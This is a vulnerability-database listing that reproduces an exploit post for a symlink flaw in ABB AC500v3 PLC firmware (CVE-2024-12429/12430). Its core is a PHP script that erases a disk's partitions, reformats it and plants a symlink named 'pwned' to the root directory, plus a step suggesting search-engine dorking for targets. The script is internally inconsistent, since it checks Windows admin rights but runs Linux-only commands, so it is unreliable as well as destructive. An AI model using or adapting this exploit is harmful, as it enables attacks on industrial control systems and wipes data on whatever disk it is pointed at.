Lucene search
K

ABB AC500v3 3.7.0.569 Symlink Attack

🗓️ 11 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 293 Views

Exploiting symlink vulnerability in ABB AC500v3 3.7.0.569 using PHP on Windows platform.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ABB AC500v3 3.7.0.569 Directory Traversal / Privilege Escalation Exploit
16 Jan 202500:00
zdt
Circl
CVE-2024-12429
7 Jan 202516:43
circl
Circl
CVE-2024-12430
7 Jan 202516:43
circl
CNNVD
ABB AC500 路径遍历漏洞
7 Jan 202500:00
cnnvd
CNNVD
ABB AC500 安全漏洞
7 Jan 202500:00
cnnvd
CVE
CVE-2024-12429
7 Jan 202516:53
cve
CVE
CVE-2024-12430
7 Jan 202516:28
cve
Cvelist
CVE-2024-12429
7 Jan 202516:53
cvelist
Cvelist
CVE-2024-12430
7 Jan 202516:28
cvelist
EUVD
EUVD-2024-50850
3 Oct 202520:07
euvd
Rows per page
=============================================================================================================================================
    | # Title     : ABB AC500v3 3.7.0.569 Exploiting Symlink vulnerability                                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://global.abb/                                                                                                         |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Exploiting Symlink on ABB AC500 System Using PHP.
    
        (Related : https://packetstorm.news/files/id/188713/ Related CVE numbers: 	CVE-2024-12429, CVE-2024-12430 ) .
    
    [+] Usage : C:\www>php 2.php /dev/sdX
    
    [+] PayLoad :
    
    <?php
    
    // indoushka
    // abb ac500 symlink exploit
    
    // تحقق إذا كان المستخدم قد أدخل معطى (اسم القرص) من سطر الأوامر
    if ($argc != 2) {
        echo "Usage: php abb_ac500_symlink.php /dev/sdX\n";
        exit(1);
    }
    
    // تحقق إذا كان البرنامج يعمل بصلاحيات المسؤول في ويندوز
    $isAdmin = (bool) shell_exec('NET SESSION');
    if (!$isAdmin) {
        echo "This script must be run as Administrator.\n";
        exit(1);
    }
    
    $disk = $argv[1];
    $part = $disk . "1";
    $mountPoint = "/mnt/sdcard";
    $symLinkTarget = "/";
    $symLinkName = "pwned";
    
    // محاولة إلغاء تحميل الأقراص المتصلة
    exec("umount {$disk}* 2>/dev/null");
    
    // حذف جميع الأقسام الحالية على القرص
    $fdiskCommands = "o\nw\n";
    file_put_contents("/tmp/fdisk_commands.txt", $fdiskCommands);
    exec("fdisk {$disk} < /tmp/fdisk_commands.txt");
    
    // إنشاء قسم جديد على القرص
    $fdiskCommands = "n\np\n1\n\n\nw\n";
    file_put_contents("/tmp/fdisk_commands.txt", $fdiskCommands);
    exec("fdisk {$disk} < /tmp/fdisk_commands.txt");
    
    exec("partprobe {$disk}");
    
    // تنسيق القسم باستخدام ext4
    exec("mkfs.ext4 -F {$part}");
    
    // إنشاء مجلد للنقطة المثبتة
    mkdir($mountPoint, 0777, true);
    
    // تركيب القسم
    exec("mount {$part} {$mountPoint}");
    
    // إنشاء رابط رمزي
    symlink($symLinkTarget, "{$mountPoint}/{$symLinkName}");
    
    // عرض محتويات المجلد بعد إنشاء الرابط الرمزي
    exec("ls -l {$mountPoint}");
    
    // إلغاء تحميل القسم
    exec("umount {$mountPoint}");
    
    echo "Done.\n";
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17
CVSS 47.3
EPSS0.00191
SSVC
293